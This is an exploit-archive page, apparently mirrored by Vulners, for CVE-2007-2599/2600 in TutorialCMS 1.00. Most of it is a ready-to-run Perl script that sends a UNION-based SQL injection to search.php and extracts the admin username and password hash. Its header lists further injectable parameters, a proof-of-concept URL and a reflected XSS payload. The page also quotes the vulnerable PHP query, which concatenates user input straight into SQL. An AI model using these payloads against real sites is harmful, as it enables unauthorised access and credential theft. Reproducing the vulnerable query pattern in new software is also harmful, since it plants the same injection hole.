Lucene search
+L

TutorialCMS 1.00 - 'search.php?search' SQL Injection

🗓️ 09 May 2007 00:00:00Reported by SilentzType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

TutorialCMS 1.00 - 'search.php?search' SQL Injection. Vulnerable to XSS and SQL injection. Admin Username & Hash Retrieval

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2007-2599
11 May 200710:00
cve
CVE
CVE-2007-2600
11 May 200710:00
cve
Cvelist
CVE-2007-2599
11 May 200710:00
cvelist
Cvelist
CVE-2007-2600
11 May 200710:00
cvelist
EUVD
EUVD-2007-2592
7 Oct 202500:30
euvd
EUVD
EUVD-2007-2593
7 Oct 202500:30
euvd
NVD
CVE-2007-2599
11 May 200710:19
nvd
NVD
CVE-2007-2600
11 May 200710:19
nvd
Prion
Sql injection
11 May 200710:19
prion
Prion
Cross site scripting
11 May 200710:19
prion
Rows per page
#!/usr/bin/perl -w

#################################################################################
#										#
#		     TutorialCMS <= 1.00 SQL Injection Exploit			#
#										#
# Discovered by: Silentz							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerable Code (search.php):							#
#										#
#      $search = $_REQUEST['search'];						#
#      $sql    = "SELECT * FROM tutorials WHERE title LIKE '%$search%' 		#
#		  ORDER BY hits DESC LIMIT $startID , $perPage"; 		#
#										#
# Manual SQL Injection:								#
#      										#
#      	browseCat.php?catFile=[SQL QUERY]					#
#	browseSubCat.php?catFile=[SQL QUERY]					#
#	openTutorial.php?id=[SQL QUERY]						#
#	search.php?search=[SQL QUERY]						#
#	topFrame.php?id=[SQL QUERY]						#
#	admin/editListing.php?id=[SQL QUERY]					#
#										#
# NOTE: All above parameters are vulnerable to XSS, so try:			#
#										#
#	search.php?search="><script>alert('http://www.w4ck1ng.com')</script>	#
#										#
# PoC: http://victim.com/search.php?search=' UNION SELECT 0,0,0,0,username,	#
#      password,0,0,0,0,0,0,0 FROM users WHERE id='1' /*			#
# 										#
# Subject To: magic_quotes_gpc set to off					#
# GoogleDork: "Powered By Photoshop Tutorials" (0 Results)			#
#										#
# Shoutz: The entire w4ck1ng community						#
#										#
#################################################################################

use LWP::UserAgent;
if (@ARGV < 1){
print "-------------------------------------------------------------------------\r\n";
print "                 TutorialCMS <= 1.00 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_tutorialcms.pl [PATH]\r\n\r\n";
print "[PATH] = Path where TutorialCMS is located\r\n\r\n";
print "e.g. w4ck1ng_tutorialcms.pl http://victim.com/tutorialcms/\r\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

$useragent = LWP::UserAgent->new() or die "Could not initialize browser\n";
$useragent->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$sql = $ARGV[0] . "search.php?search=' UNION SELECT 0,0,0,0,username,password,0,0,password,0,password,0,0 FROM users WHERE id='1' /*";
$result = $useragent->request(HTTP::Request->new(GET=>$sql));

if($result->content =~ /"><b><u>([0-9a-zA-Z]+)<\/u>/){
print "-------------------------------------------------------------------------\r\n";
print "                 TutorialCMS <= 1.00 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "[+] Admin User : $1\n";
}

else {print "\n[-] Unable to retrieve admin username..."}

if($result->content =~ /([0-9a-fA-F]{32})/){
print "[+] Admin Hash : $1\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
}

else {print "\n[-] Unable to retrieve admin hash...\n";}

# milw0rm.com [2007-05-09]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 May 2007 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.03726
32